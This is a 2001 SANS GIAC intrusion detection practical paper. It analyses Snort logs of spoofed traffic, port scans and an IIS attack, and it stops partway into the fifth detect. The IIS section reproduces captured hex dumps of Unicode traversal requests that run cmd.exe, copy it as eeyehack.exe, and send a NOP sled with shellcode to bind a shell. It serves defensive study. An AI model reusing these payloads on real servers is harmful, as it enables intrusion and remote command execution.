Global Information Assurance Certification Paper

SANS Intrusion Detection Practical v2.7

SANS New Orleans January 27-February 2 2001

By Matthew Richard

Table of Contents

1.0 Assignment 1 - Network Detects

1.0.1 Detect Format

The purpose of this assignment is to analyze 5 different network detects, and provide analysis for them. All destination IP addresses will be sanitized to x.y.z if the destination network belongs to a live host. Each detect follows the same standard format. There are 10 pieces of information to be provided for each detect.

1) What is the source of the trace?
2) What generated the detect data?
3) What is the probability that the source address was spoofed?
4) Describe the attack.
5) What is the attack mechanism?
6) Correlations to other attacks or data
7) Is there evidence of active targeting?
8) What is the severity of the attack?
9) Defensive recommendations.
10) Create a multiple choice question.

1.0.2 Attack severity rating formula

(Criticality + Lethality) – (System Countermeasures + Net Countermeasures) = Severity

All items on a scale of 0-5

Criticality = 5 is assigned to core infrastructure components, 1 is assigned to workstations.

Lethality = 5 is assigned to severe cases in which an attacker can gain root access across the net, 1 is assigned to an attack that has a low likelihood of succeeding.

System Countermeasures = 5 is assigned to a hardened system with all patches installed, 1 is assigned to a system with known vulnerabilities, is misconfigured, or has not been patched.

Network Countermeasures = 5 is assigned to a very restrictive firewall, 1 is given to an insecure or misconfigured firewall

1.0.3 Snort log format

[**] Invalid subnet [**]

- Name of the rule that generated the alert

03/08-14:39:29.316231 192.168.27.28:80 -> x.y.z.105:4981

- Date – Time in military format – source IP : source port -> destination IP : destination port

TCP TTL:52 TOS:0x0 ID:1432 IpLen:20 DgmLen:53

- Protocol – IP time to live value – IP Type of Service – IP identification – IP length – Datagram length

AP Seq: 0x67BA2425 Ack: 0xCA0580DA Win: 0x0 TcpLen: 32
TCP Options (3) => NOP NOP TS: 492663067 1456677

- Protocol specific information

1.1 1st Detect – Spoofed traffic

```
[**] Invalid subnet [**]
03/08-14:39:29.316231 192.168.27.28:80 -> x.y.z.105:4981
TCP TTL:52 TOS:0x0 ID:1432 IpLen:20 DgmLen:53
***AP*** Seq: 0x67BA2425  Ack: 0xCA0580DA  Win: 0x0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 492663067 1456677

[**] Invalid subnet [**]
03/08-14:39:33.723080 192.168.19.80:80 -> x.y.z.105:15850
TCP TTL:56 TOS:0x0 ID:57106 IpLen:20 DgmLen:53 DF
***AP*** Seq: 0xB42F4451  Ack: 0x7E396569  Win: 0x0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 302140873 1572444

[**] Invalid subnet [**]
03/08-14:40:06.898175 192.168.19.81:80 -> x.y.z.105:24663
TCP TTL:56 TOS:0x0 ID:59067 IpLen:20 DgmLen:53 DF
***AP*** Seq: 0xD0075ADF  Ack: 0xAF4A09DD  Win: 0x0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 302149947 866872

[**] Invalid subnet [**]
03/08-14:40:15.512456 192.168.27.25:80 -> x.y.z.105:16222
TCP TTL:52 TOS:0x0 ID:8466 IpLen:20 DgmLen:178
***AP**F Seq: 0x7C8E3921  Ack: 0x8305B270  Win: 0x8000  TcpLen: 32
TCP Options (3) => NOP NOP TS: 492806900 1075198

[**] Invalid subnet [**]
03/08-14:40:20.452957 192.168.27.25:80 -> x.y.z.105:11839
TCP TTL:52 TOS:0x0 ID:8470 IpLen:20 DgmLen:52
***A***F Seq: 0x7CF35CE4  Ack: 0x83A610FE  Win: 0x8000  TcpLen: 32
TCP Options (3) => NOP NOP TS: 492807395 1075211

[**] Invalid subnet [**]
03/08-14:40:21.644475 192.168.27.25:80 -> x.y.z.105:16222
TCP TTL:52 TOS:0x0 ID:19521 IpLen:20 DgmLen:178
***AP**F Seq: 0x7C8E3921  Ack: 0x8305B270  Win: 0x8000  TcpLen: 32
TCP Options (3) => NOP NOP TS: 492807512 1075198

[**] Invalid subnet [**]
03/08-14:40:26.916618 192.168.27.25:80 -> x.y.z.105:11839
TCP TTL:52 TOS:0x0 ID:19544 IpLen:20 DgmLen:52
***A***F Seq: 0x7CF35CE4  Ack: 0x83A610FE  Win: 0x8000  TcpLen: 32
TCP Options (3) => NOP NOP TS: 492808041 1075211

[**] Invalid subnet [**]
03/08-14:40:30.186727 192.168.27.28:80 -> x.y.z.105:4981
TCP TTL:52 TOS:0x0 ID:1433 IpLen:20 DgmLen:53
***AP*** Seq: 0x67BA2425  Ack: 0xCA0580DA  Win: 0x0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 492669163 1456677

[**] Invalid subnet [**]
03/08-14:40:33.839764 192.168.27.25:80 -> x.y.z.105:16222
TCP TTL:52 TOS:0x0 ID:19545 IpLen:20 DgmLen:178
***AP**F Seq: 0x7C8E3921  Ack: 0x8305B270  Win: 0x8000  TcpLen: 32
TCP Options (3) => NOP NOP TS: 492808733 1075198
```

1.1.1 What is the source of the trace?

The trace was generated from our public Internet connection. The snort sensor was located on an untrusted hub between our border router and our firewall. This trace is only a sampling of all of the alerts generated since we received similar alerts 24 hours a day at the rate of approximately 5-10 packets per minute.

1.1.2 What generated the detect data?

The data was generated using Snort v1.7 on a Windows 2000 machine. The Snort alert that generated the alert was:

```
alert tcp 192.168.0.0/16 any -> $HOME_NET any (msg:"Invalid subnet";)
alert udp 192.168.0.0/16 any -> $HOME_NET any (msg:"Invalid subnet";)
alert icmp 192.168.0.0/16 any -> $HOME_NET any (msg:"Invalid subnet";)
```

We have these rules set up to monitor for any "spoofed" traffic entering our network. Spoofed traffic can generally be an indication of a denial of service attack. No legitimate traffic should have a source address from within one of the IANA reserved address ranges.

1.1.3 What is the probability that the source address was spoofed?

The source address was most likely spoofed since there is no chance of the traffic ever being routed back to the host. The 192.168.0.0 class B subnet is reserved for private networks and is not routed on the Internet. The real question in this case is whether the source address was spoofed intentionally or not. It appears as though there is a remote possibility that the traffic is coming from a poorly configured web server or malfunctioning router somewhere on the Internet. This possibility seems slim given the following discussion.

1.1.4 Describe the attack.

The attack appears to come from 2, or possibly 3 different machines, or instances within the same machine. All of the TTL's are either 52 or 56. The packets come from 4 different spoofed addresses bound for our firewall. The traffic comes in a steady stream of 5 to 10 packets per minute. The packets appear to be attempting to penetrate our firewall by masquerading as replies from a web server in response to a request from our firewall. This technique could be used against a firewall that does not do state full inspection of packets.

1.1.5 What is the attack mechanism?

A state full firewall keeps a state table of all outgoing connection attempts. When inbound traffic enters the firewall it is compared against entries in the state table to see if the connection already exists. If the firewall does not check to see if the incoming IP/port pair does not match the original IP/port pair then it would more than likely allow this traffic to pass through to an internal machine. This attack may be a variation on a known vulnerability with UDP through NAT and firewall devices. The potential for this type of exploit is noted in RFC 2663.

> Responses to a datagram could come from an address different from the target address used by sender ([Ref 4]). As a result, an incoming UDP packet might match the outbound session of a traditional NAT router only in part (the destination address and UDP port number of the packet match, but the source address and port number may not). In such a case, there is a potential security compromise for the NAT device in permitting inbound packets with partial match. This UDP security issue is also inherent to firewalls.

This attack may attempt to exploit an unknown vulnerability in NAT devices and firewalls that allow IANA reserved addresses to be forwarded to the internal interface.

1.1.6 Correlations to other attacks or data

This particular detect has never been seen before. None of the destination ports have known vulnerabilities or services listed in the Snort port database. There is a possible CVE listing for this type of attack:

CAN-1999-0528 ** CANDIDATE (under review) ** A router or firewall forwards packets that claim to come from IANA reserved or private addresses, e.g. 10.x.x.x, 127.x.x.x, 217.x.x.x, etc.

1.1.7 Is there evidence of active targeting?

There is evidence of active targeting since all spoofed traffic from 192.168.x.x was directed only at our firewall. The remainder of our public IP addresses including a web server were not probed by this attack.

1.1.8 What is the severity of the attack?

(5+4) - (5+0) = 4

Critical – 5 – attack specifically targeted our firewall, all production machines reside behind firewall
Lethal – 4 – if access were gained to a machine behind firewall intruder could gain access to any production machines
System Countermeasures – 5 – firewall fully patched and using address translation
Network Countermeasures – 0 – border router does not block traffic from reserved addresses

1.1.9 Defensive recommendations.

Recommend that border router be configured to block all packets with source in the IANA reserved range.

1.1.10 Create a multiple choice question.

TCP Options (3) => NOP NOP TS: 302149947 866872
What information does the TCP "TS" option convey?
A. Type Service
B. Time Sent
C. Time Stamp
D. Tool Send

Correct Answer: C

1.2 2nd Detect – RPC probe

```
Mar 25 01:29:14 207.219.75.13:28445 -> a.b.c.33:32771 SYN ******S*
Mar 25 01:29:14 207.219.75.13:28463 -> a.b.c.51:32771 SYN ******S*
Mar 25 01:29:14 207.219.75.13:28474 -> a.b.c.62:32771 SYN ******S*
Mar 25 01:29:14 207.219.75.13:28484 -> a.b.c.72:32771 SYN ******S*
Mar 25 01:29:14 207.219.75.13:28492 -> a.b.c.80:32771 SYN ******S*
Mar 25 01:29:14 207.219.75.13:28565 -> a.b.c.153:32771 SYN ******S*
Mar 25 01:29:14 207.219.75.13:28582 -> a.b.c.170:32771 SYN ******S*
Mar 25 01:29:15 207.219.75.13:28604 -> a.b.c.192:32771 SYN ******S*
Mar 25 01:29:15 207.219.75.13:28607 -> a.b.c.195:32771 SYN ******S*
Mar 25 01:29:15 207.219.75.13:28624 -> a.b.c.212:32771 SYN ******S*
Mar 25 01:29:16 207.219.75.13:28719 -> a.b.d.52:32771 SYN ******S*
Mar 25 01:29:19 207.219.75.13:28869 -> a.b.d.202:32771 SYN ******S*
Mar 25 01:29:19 207.219.75.13:28905 -> a.b.d.238:32771 SYN ******S*
Mar 25 01:29:19 207.219.75.13:28906 -> a.b.d.239:32771 SYN ******S*
Mar 25 01:29:19 207.219.75.13:28912 -> a.b.d.245:32771 SYN ******S*
Mar 25 01:29:19 207.219.75.13:28913 -> a.b.d.246:32771 SYN ******S*
Mar 25 01:29:19 207.219.75.13:28918 -> a.b.d.251:32771 SYN ******S*
Mar 25 01:29:19 207.219.75.13:28947 -> a.b.e.25:32771 SYN ******S*
Mar 25 01:29:20 207.219.75.13:28990 -> a.b.e.68:32771 SYN ******S*
Mar 25 01:29:20 207.219.75.13:29001 -> a.b.e.79:32771 SYN ******S*
Mar 25 01:29:20 207.219.75.13:29010 -> a.b.e.88:32771 SYN ******S*
Mar 25 01:29:20 207.219.75.13:29019 -> a.b.e.97:32771 SYN ******S*
Mar 25 01:29:20 207.219.75.13:29020 -> a.b.e.98:32771 SYN ******S*
Mar 25 01:29:20 207.219.75.13:29022 -> a.b.e.100:32771 SYN ******S*
Mar 25 01:29:20 207.219.75.13:29101 -> a.b.e.179:32771 SYN ******S*
```

1.2.1 What is the source of the trace?

The trace was copied from a GIAC posting by Laurie@.edu
http://www.sans.org/y2k/032901-1530.htm

1.2.2 What generated the detect data?

The data was generated by Snort unknown version. The data seen is copied from the portscan.log file that is generated by the portscan pre-processor available for Snort. The format for this log is:
Date – Time – source IP: source port -> destination IP: destination port – scan type – TCP flags

1.2.3 What is the probability that the source address was spoofed?

There is a below average chance that the source address was spoofed. The reason that there is a low probability of being spoofed is that in order to obtain any useful information about a victim host the return address must be valid. This is not necessarily true of man-in-the-middle scans in which a quiet host is used as the spoofed source address. In this case a man-in-the-middle scan is unlikely due to the high volume of traffic being generated. Since a man-in-the-middle scan relies in part on timing it would be next to impossible to determine which hosts had responded to the scan.

1.2.4 Describe the attack.

The attack appears to be a TCP SYN scan of an entire class C subnet. The destination port is TCP 32771. Port 32771 could be used as a ghost portmapper on some SunOS machines or to host other RPC services. High numbered TCP ports are not always

filtered by firewalls, which may allow access to portmapper or RPC services even if port 111 is blocked. There is no corresponding CVE number for this specific type of attack however there are several CVE's for RPC and portmapper vulnerabilities. These CVE's include CVE-1999-0003, CVE-1999-0008, CVE-1999-0208, CVE-1999-0212, CVE-1999-0320, CVE-1999-0353, CVE-1999-0493, CVE-1999-0687, CVE-1999-0696, CVE-1999-0900, CVE-1999-0974, and CVE-2000-0508. There are also several CVE candidates that have been proposed that deal with RPC and portmapper vulnerabilities.

1.2.5 What is the attack mechanism?

The attack works by searching for machines running a ghost portmapper or RPC service. Once a machine with a running one of these is found it could be queried for many different pieces of information. The attacker could find the version of portmapper or other service and then launch an exploit based upon that version. This port could also be used for the RPC service ruserd. At http://advice.networkice.com/advice/Intrusions/2003016/default.htm the networkice.com website has this to say about portmapper scans:

> Scanning for RPC is the first stage in looking for those particular programs. If you had been running RPC on your system, then the next step the intruder would take would be an RPC portmapper dump, which would list all the RPC programs on your machine and tell the intruder if there are any he/she can exploit (use to break into your system).

1.2.6 Correlations to other attacks or data

No correlations to the source IP were found. However, portmapper and RPC scans searching for targets are common. Previous reports of scans include http://www.sans.org/y2k/021500.htm, and http://www.sans.org/y2k/122399.htm.

1.2.7 Is there evidence of active targeting?

No. This is a scan for port 32771 across an entire class C subnet.

1.2.8 What is the severity of the attack?

(1+3) – (2+2) = 0

Critical – 1 – no evidence of active targeting
Lethal – 3 – If able to obtain information on services could follow up with attack
System Countermeasures – 2 – since this is a .edu there is a good chance that there are many machines without patches and little hardening
Network Countermeasures – 2 – again, since this is a .edu there are probably few firewall restrictions limiting incoming or outgoing traffic

1.2.9 Defensive recommendations.

Alert system administrators of probes and remind them to keep up to date on system patches. If possible add a rule on the firewall to block incoming traffic bound for all high numbered RPC services.

1.2.10 Create a multiple choice question.
Scans for port 32771 are typically looking for what type of service?
A) Netbus Trojan Server
B) Back Oriffice 2000 Trojan Server
C) RPC services
D) Trinoo Daemon Master

Correct Answer: C

1.3 3rd Detect –IIS Hack Attack

```
[**] spp_http_decode: IIS Unicode attack detected [**]
03/02-07:54:12.711165 a.b.c.220:1880 -> x.y.z.26:80
TCP TTL:128 TOS:0x0 ID:33340 IpLen:20 DgmLen:160
***AP*** Seq: 0xFBF8C9  Ack: 0x754152C  Win: 0x2238  TcpLen: 20
47 45 54 20 2F 73 63 72 69 70 74 73 2F 2E 2E 25     GET /scripts/..%
63 30 25 61 66 2E 2E 25 63 30 25 61 66 2E 2E 25     c0%af..%c0%af..%
63 30 25 61 66 2E 2E 25 63 30 25 61 66 2E 2E 25     c0%af..%c0%af..%
63 30 25 61 66 2E 2E 25 63 30 25 61 66 2E 2E 25     c0%af..%c0%af..%
63 30 25 61 66 2E 2E 25 63 30 25 61 66 2F 77 69     c0%af..%c0%af/wi
6E 6E 74 2F 73 79 73 74 65 6D 33 32 2F 63 6D 64     nnt/system32/cmd
2E 65 78 65 3F 2F 63 25 32 30 64 69 72 20 48 54     .exe?/c%20dir HT
54 50 2F 31 2E 30 0A 0A                             TP/1.0..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

[**] spp_http_decode: IIS Unicode attack detected [**]
03/02-07:54:16.232340 a.b.c.220:1881 -> x.y.z.26:80
TCP TTL:128 TOS:0x0 ID:34620 IpLen:20 DgmLen:223
***AP*** Seq: 0xFC068B  Ack: 0x79C59E5  Win: 0x2238  TcpLen: 20
47 45 54 20 2F 73 63 72 69 70 74 73 2F 2E 2E 25     GET /scripts/..%
63 30 25 61 66 2E 2E 25 63 30 25 61 66 2E 2E 25     c0%af..%c0%af..%
63 30 25 61 66 2E 2E 25 63 30 25 61 66 2E 2E 25     c0%af..%c0%af..%
63 30 25 61 66 2E 2E 25 63 30 25 61 66 2E 2E 25     c0%af..%c0%af..%
63 30 25 61 66 2E 2E 25 63 30 25 61 66 2F 77 69     c0%af..%c0%af/wi
6E 6E 74 2F 73 79 73 74 65 6D 33 32 2F 63 6D 64     nnt/system32/cmd
2E 65 78 65 3F 2F 63 25 32 30 63 6F 70 79 25 32     .exe?/c%20copy%2
30 43 3A 5C 77 69 6E 6E 74 5C 73 79 73 74 65 6D     0C:\winnt\system
33 32 5C 63 6D 64 2E 65 78 65 25 32 30 43 3A 5C     32\cmd.exe%20C:\
49 6E 65 74 70 75 62 5C 73 63 72 69 70 74 73 5C     Inetpub\scripts\
65 65 79 65 68 61 63 6B 2E 65 78 65 20 48 54 54     eeyehack.exe HTT
50 2F 31 2E 30 0A 0A                                P/1.0..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

[**] EXPLOIT x86 NOOP [**]
03/02-07:54:16.735239 a.b.c.220:1882 -> x.y.z.26:80
TCP TTL:128 TOS:0x0 ID:35900 IpLen:20 DgmLen:1500
***A**** Seq: 0xFC0882  Ack: 0x7A777E7  Win: 0x2238  TcpLen: 20
47 45 54 20 2F 73 63 72 69 70 74 73 2F 2E 2E 25     GET /scripts/..%
63 30 25 61 66 2E 2E 25 63 30 25 61 66 2E 2E 25     c0%af..%c0%af..%
63 30 25 61 66 2E 2E 25 63 30 25 61 66 2E 2E 25     c0%af..%c0%af..%
63 30 25 61 66 2E 2E 25 63 30 25 61 66 2E 2E 25     c0%af..%c0%af..%
63 30 25 61 66 2E 2E 25 63 30 25 61 66 2F 49 6E     c0%af..%c0%af/In
65 74 70 75 62 5C 73 63 72 69 70 74 73 2F 65 65     etpub\scripts/ee
79 65 68 61 63 6B 2E 65 78 65 3F 2F 63 25 32 30     yehack.exe?/c%20
65 63 68 6F 25 32 30 5E 3C 53 43 52 49 50 54 25     echo%20^<SCRIPT%
32 30 4C 41 4E 47 55 41 47 45 25 33 64 22 90 90     20LANGUAGE%3d"..
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90     ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90     ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90     ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90     ................
…..clipped for space………….

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
```

```
[**] EXPLOIT x86 NOOP [**]
03/02-07:54:16.735274 a.b.c.220:1882 -> x.y.z.26:80
TCP TTL:128 TOS:0x0 ID:36156 IpLen:20 DgmLen:1500
***A**** Seq: 0xFC0E36  Ack: 0x7A777E7  Win: 0x2238  TcpLen: 20
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90                ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90                ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90                ................
…..clipped for space……
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90                ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 F0 D7                ................
BC 77 50 5D 8B C5 83 C0 25 31 33 33 C9 66 B9 39                .wP]....%133.f.9
25 30 32 80 30 85 40 E2 FA 6D 85 85 85 85 DA 25                %02.0.@..m.....%
30 65 69 25 30 34 69 25 33 64 8E 85 85 C2 25 30                0ei%04i%3d....%0
36 BA 7A F0 7F 25 30 36 42 81 25 30 65 70 B6 4C                6.z..%06B.%0ep.L
25 33 63 87 85 85 85 25 30 65 82 25 30 63 83 25                %3c....%0e.%0c.%
30 36 43 81 25 30 36 42 81 67 71 25 30 36 42 81                06C.%06B.gq%06B.
25 30 35 BA 85 F1 B4 25 30 38 82 D5 7A D0 81 25                %05....%08..z..%
30 36 7D 85 F1 B3 25 30 65 55 25 33 63 95 A2 85                06}...%0eU%3c...
85 B6 45 77 25 32 62 25 30 35 BA 85 F1 96 D7 D2                ..Ew%2b%05......
D7 7A D0 85 DF 25 30 36 7D 85 F1 9F 25 30 63 83                .z...%06}...%0c.
25 30 36 43 81 6E 61 C2 6E 4F B6 45 77 25 32 62                %06C.na.nO.Ew%2b
25 30 35 BA 85 F1 82 25 30 63 BB 25 30 36 43 81                %05....%0c.%06C.
6E 75 C2 25 30 63 BB 25 30 36 43 8D B6 45 D5 C5                nu.%0c.%06C..E..
D5 C5 D5 7A D0 C1 25 31 36 EF 95 7A F0 C9 D6 7A                ...z..%16..z...z
D0 B1 EF 87 D6 7A D0 BD B6 45 D2 D5 35 89 2E DD                .....z...E..5...
2E C5 2E DA CD D5 D2 D3 28 D3 7A D0 89 CD D5 D2                ........(.z.....
28 D3 28 D3 7A D0 89 CD 35 C1 25 30 63 82 D2 7A                (.(.z...5.%0c..z
D0 9D B6 45 25 30 65 C0 D1 25 30 63 C2 B9 25 30                ...E%0e..%0c..%0
63 C2 C5 25 30 65 C0 E5 25 30 63 C2 BD 25 33 64                c..%0e..%0c..%3d
84 84 85 85 25 30 63 C2 A9 D2 D2 B6 45 D5 D5 D5                ....%0c.....E...
C5 D5 CD D5 D5 7A F0 CD D5 7A D0 95 CD D5 D5                D6  .....z...z.....
7A D0 B5 25 30 65 5D B6 45 31 81 D5 44 6D 81 D5                z..%0e].E1..Dm..
7A D0 99 25 30 65 75 25 31 35 B6 45 25 30 65 4D                z..%0eu%15.E%0eM
30 81 D5 D5 D2 D4 D5 7A F0 DD 7A D0 A5 25 30 36                0......z..z..%06
BA 84 F9 A7 B6 45 D5 D2 7A B2 D3 7A F0 DD 7A D0                .....E..z..z..z.
A1 8E 45 F1 AA B6 45 D5 7A B2 D3 D6 7A D0 C5 EF                ..E...E.z...z...
D5 7A D0 AD 6E 42 B6 45 D5 31 81 D5 D3 D6 7A D0                .z..nB.E.1....z.
B9 D2 B6 4C D4 D5 D3 7A F0 D9 7A D0 A9 EF D5 7A                ...L...z..z....z
D0 AD 6E 2C D5 7A D0 91 46 7A 7A 7A 7A 36 BA 74                ..n,.z..Fzzzz6.t
F2 38 B2 74 F2 85 85 85 85 EE E0 F7 EB E0 E9 B6                .8.t............
B7 AB E1 E9 E9 85 C6 E9 EA F6 E0 CD E4 EB E1 E9                ................
E0 85 C6 F7 E0 E4 F1 E0 D5 EC F5 E0 85 C6 F7 E0                ................
E4 F1 E0 D5 F7 EA E6 E0 F6 F6 C4 85 C0 FD EC F1                ................
D5 F7 EA E6 E0 F6 F6 85 C2 E0 F1 D6 F1 E4 F7 F1                ................
F0 F5 CC EB E3 EA C4 85 C2 E9 EA E7 E4 E9 C4 E9                ................
E9 EA E6 85 D5 E0 E0 EE CB E4 E8 E0 E1 D5 EC F5                ................
E0 85 D7 E0                                                    ....
```

1.3.1 What is the source of the trace?

This source of this trace is my network.

1.3.2 What generated the detect data?

The detect was generated by Snort v1.7 on a Windows NT 4.0 workstation. The snort http preprocessor plug-in generated the first 2 alerts. The last 2 alerts were generated by the following snort rule:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"EXPLOIT x86 NOOP"; content:
"|90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90|"; flags: A+;
reference:arachnids,181;)
```

1.3.3 What is the probability that the source address was spoofed?

There is a low probability that the source address was spoofed. In order for this attack to be successful, a complete TCP handshake must be completed. In order for a complete TCP handshake to be completed the source machine would need to be able to see the replies from the web server. This attack could be possible using TCP sequence prediction. If TCP sequence prediction were used than it may have been possible to spoof the source address. Nmap gives the following classification of the Windows NT IIS server in question:

```
TCP Sequence Prediction: Class=trivial time dependency
                         Difficulty=7 (Trivial joke)
Remote operating system guess: Windows NT4 / Win95 / Win98

Nmap run completed -- 1 IP address (1 host up) scanned in 12 seconds
```

1.3.4 Describe the attack.

This is an attack against web servers running Microsoft Windows NT 4.0 with Microsoft Internet Information Server (IIS) 4.0. The attack attempts to use an IIS Unicode vulnerability to perform a buffer overflow against IIS. It appears as though a program called IISHACK1.5.exe was used to perform this attack. In this case the attack was able to verify the Unicode vulnerability and copy cmd.exe to eeyehack.exe. The attack was unable to bind the command prompt to a port since the server was patched for the buffer overflow exploit. For the IIS buffer overflow there is corresponding CVE number CAN-2000-1147. The Unicode vulnerability has CVE number CVE-2000-0884.

1.3.5 What is the attack mechanism?

The attack works by utilizing an IIS testing tool released by eeye.com. The executable iishack1.5.exe is free to download to anyone. The attack starts by checking to see if it can exploit the IIS Unicode vulnerability by attempting to get a directory listing using "GET /scripts/../../../../../../../winnt/system32/cmd.exe?/c%20dir" (note "%c0%af" replaced with "/"). If server responds with the directory listing than the exploit continues. The next phase of the exploit involves copying cmd.exe to a new location using a new name. The command "cmd.exe?/c%20copy%20C:\winnt\system32\cmd.exe%20C:\Inetpub\scripts\eeyehack.exe" is then run to create a shell executable in the scripts directory on the web server. Now the buffer overflow exploit is sent to install a Trojan that will bind eeyehack.exe to a port specified with the exploit tool. The overflow looks like this:
"Inetpub\scripts/eeyehack.exe?/c%20echo%20^<SCRIPT%20LANGUAGE%3d" followed by at least 2240 bytes of Intel x86 no operation commands. The NOOP command is represented by the hex 0x90. After the NOOP's are finished the machine code to bind eeyehack.exe to a port is run on the IIS server.

1.3.6 Correlations to other attacks or data

This particular detect has not been seen before. However, IIS Unicode attempts are well known and have been reported at http://www.sans.org/y2k/032101-1100.htm, http://www.sans.org/y2k/030101.htm, and http://www.sans.org/y2k/030701-1500.htm.

1.3.7 Is there evidence of active targeting?

There is evidence of active targeting since this traffic was sent specifically to a Windows NT IIS server. This is a perfect match between exploit and target.

1.3.8 What is the severity of the attack?

(1+4) – (2+1) = 2

Critical –1 – web server with no critical data
Lethal – 4 – exploit was able to get a directory listing and could possibly gain administrator access with different techniques
System Countermeasures – 2 - the system did not allow the buffer overflow attack but did allow the Unicode vulnerability, server does not have up to date patches
Network Countermeasures – 1 – there is no firewall or other filtering device protecting the server

1.3.9 Defensive recommendations.

It is recommended that the server be updated with the most recent patches and a firewall be put in place to protect it.

1.3.10 Create a multiple choice question.

Why are NOOP's sent in a buffer overflow?
A) To avoid intrusion detection systems.
B) It is not known exactly where code execution will begin.
C) To keep the machine busy while other code is executed.
D) To overflow firewall logs as well.

Correct Answer: B

1.4 4th Detect – Back Orifice Scan

Jan 29 15:31:05 128.187.252.215:4510 -> a.b.c.15:31337 SYN ******S*
Jan 29 15:31:05 128.187.252.215:4540 -> a.b.c.30:31337 SYN ******S*
Jan 29 15:31:05 128.187.252.215:4543 -> a.b.c.32:31337 SYN ******S*
Jan 29 15:31:06 128.187.252.215:4642 -> a.b.c.62:31337 SYN ******S*
Jan 29 15:31:06 128.187.252.215:4655 -> a.b.c.71:31337 SYN ******S*
Jan 29 15:31:06 128.187.252.215:4667 -> a.b.c.80:31337 SYN ******S*
Jan 29 15:31:07 128.187.252.215:4812 -> a.b.c.101:31337 SYN ******S*
Jan 29 15:31:07 128.187.252.215:4815 -> a.b.c.103:31337 SYN ******S*
Jan 29 15:31:07 128.187.252.215:4829 -> a.b.c.111:31337 SYN ******S*
Jan 29 15:31:07 128.187.252.215:4923 -> a.b.c.138:31337 SYN ******S*
Jan 29 15:31:09 128.187.252.215:3222 -> a.b.c.192:31337 SYN ******S*
Jan 29 15:31:09 128.187.252.215:3316 -> a.b.c.211:31337 SYN ******S*
Jan 29 15:31:09 128.187.252.215:3439 -> a.b.c.244:31337 SYN ******S*
Jan 29 15:31:10 128.187.252.215:4829 -> a.b.c.111:31337 SYN ******S*
Jan 29 15:31:10 128.187.252.215:3626 -> a.b.d.52:31337 SYN ******S*
Jan 29 15:31:10 128.187.252.215:3634 -> a.b.d.59:31337 SYN ******S*
Jan 29 15:31:11 128.187.252.215:4007 -> a.b.d.202:31337 SYN ******S*
Jan 29 15:31:12 128.187.252.215:4027 -> a.b.d.213:31337 SYN ******S*
Jan 29 15:31:12 128.187.252.215:4117 -> a.b.d.237:31337 SYN ******S*
Jan 29 15:31:12 128.187.252.215:4121 -> a.b.d.238:31337 SYN ******S*

1.4.1 What is the source of the trace?

This trace is copied from a GIAC posting at: http://www.sans.org/y2k/020501-1400.htm.

1.4.2 What generated the detect data?

The data was generated by Snort unknown version. The data seen is copied from the portscan.log file that is generated by the portscan pre-processor available for Snort. The format for this log is:
Date – Time – source IP: source port -> destination IP: destination port – scan type – TCP flags

1.4.3 What is the probability that the source address was spoofed?

There is a very low probability that the source address was spoofed. Since this is a scan looking for hosts running applications on a certain port, it is necessary to receive information back. Without receiving a reply it would be difficult to determine if any of the victims responded. There is a very remote possibility that the attacker is using a man-in-the-middle scan, but that is unlikely given how close together the probes are.

1.4.4 Describe the attack.

The attack is an information gathering attempt against a class C network block. The attacker is trying to determine if there are any hosts that are listening on TCP port 31337. Although it is common to associate this port with the Back Orifice Trojan program, it is actually not used by default. The actual Back Orifice program listens on UDP 31337. There is no CVE number associated with this type of attack.

1.4.5 What is the attack mechanism?

The attacker is searching for some type of server listening on TCP port 31337. In hacker language the number "31337" is usually translated into "ELEET". The nmap port listing refers TCP port 31337 to "Elite". This port may be open on machines that have been compromised. This may be a beginner who has assumed that a TCP portscan for 31337

will show them compromised Back Orifice machines. There is also a linux-based tool available to listen on popular Trojan ports for attempts to connect. The tool is called "fakeBO" and will even send legitimate responses back to the Back Orifice client. This port number is popular among hackers for installing various Trojan and backdoor applications.

1.4.6 Correlations to other attacks or data
There are other similair scans which occur often. Other TCP based scans for port 31337 have occurred at http://www.sans.org/y2k/011900.htm, http://www.sans.org/y2k/121300-1000.htm, http://www.sans.org/y2k/061000.htm, and numerous other sources.

1.4.7 Is there evidence of active targeting?
This appears to be a typical scan of all hosts that may be running a server on TCP port 31337 on an entire class C network.

1.4.8 What is the severity of the attack?
(3+2) – (5+2) = -2

Critical – 3 – unknown combination of workstations and servers at an .edu
Lethal – 2 – only a scan looking for live hosts with 31337 open
System Countermeasures – 5 – all live hosts appear to be running portsentry
Network Countermeasures – 2 – since this is a .edu there are probably few firewall restrictions limiting incoming or outgoing traffic

1.4.9 Defensive recommendations.
If at all possible add rules to firewall to block incoming traffic destined for ports that are not needed.

1.4.10 Create a multiple choice question.
Port 31337 TCP is typically associated with what backdoor application?
A) Netbus
B) Back Orifice
C) SubSeven
D) None of the above

Correct Answer: D

1.5 5th Detect – Nmap Scan

```
Mar  2 15:29:56 a.b.c.220:34589 -> x.y.z.24:739 FIN *******F
Mar  2 15:29:56 a.b.c.220:34589 -> x.y.z.24:696 FIN *******F
Mar  2 15:29:56 a.b.c.220:34589 -> x.y.z.24:1346 FIN *******F
Mar  2 15:29:56 a.b.c.220:34589 -> x.y.z.24:1418 FIN *******F
Mar  2 15:29:56 a.b.c.220:34589 -> x.y.z.24:3900 FIN *******F
